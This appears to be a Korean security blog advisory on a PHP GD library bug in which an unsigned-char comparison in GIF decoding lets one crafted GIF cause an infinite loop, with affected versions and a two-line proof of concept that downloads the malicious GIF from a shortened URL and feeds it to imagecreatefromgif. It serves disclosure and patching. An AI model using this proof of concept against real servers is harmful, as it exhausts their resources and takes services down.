취약점 상세내용
해당 취약점은 ext/gd/libgd/gd_gif_in.c 파일에 존재합니다.
LWZReadByte_에 while-loop가 존재합니다.
do {
sd->firstcode = sd->oldcode =
GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);
} while (sd->firstcode == sd->clear_code);
함수 GetCode는 wrapper이며, GetCode_는 실제 작업을 수행합니다.
static int
GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)
{
int i, j, ret;
unsigned char count;
...
if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)
scd->done = TRUE;
...
}
GetCode_ 는 GetDataBlock을 GIF안에서 읽어옵니다.
static int
GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)
{
unsigned char count;
if (! ReadOK(fd,&count,1)) {
return -1;
}
*ZeroDataBlockP = count == 0;
if ((count != 0) && (! ReadOK(fd, buf, count))) {
return -1;
}
return count;
}
버그는 int에서 unsigned char 로 변환하는 과정에 존재합니다. 만약 GetDataBlock_이 -1을 반환하면 400 행의 scd-> done이 True로 설정되고 while 루프가 중지됩니다. 그러나 count의 정의가 unsigned char이기 때문에 절대로 실행되지 않을 것입니다.
결과적으로 하나의 단일 GIF가 무한 루프를 만들고 서버 리소스를 모두 소모 할 수 있습니다.
영향받는 버전
PHP 5 < 5.6.33
PHP 7.0 < 7.0.27
PHP 7.1 < 7.1.13
PHP 7.2 < 7.2.1
PoC
$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif
$ php -r 'imagecreatefromgif("poc.gif");'
Infinite loop here..
참고:
https://bugs.php.net/bug.php?id=75571
구글, 스펙터 취약점 해결된 크롬 64의 업데이트 버전 출시 (0) | 2018.01.26 |
---|---|
인텔, 멜트다운/스펙터 패치 서비스 중단 (0) | 2018.01.24 |
레드햇, 스펙터 패치 오류 발생 후 이전 버전으로 복원 (0) | 2018.01.22 |
인텔, 멜트다운/스펙터 패치 적용 후 성능 저하 인정 (0) | 2018.01.19 |
미국 병원, samsam 랜섬웨어에 감염되어 약 6만달러 랜섬머니 지불 (0) | 2018.01.19 |
댓글 영역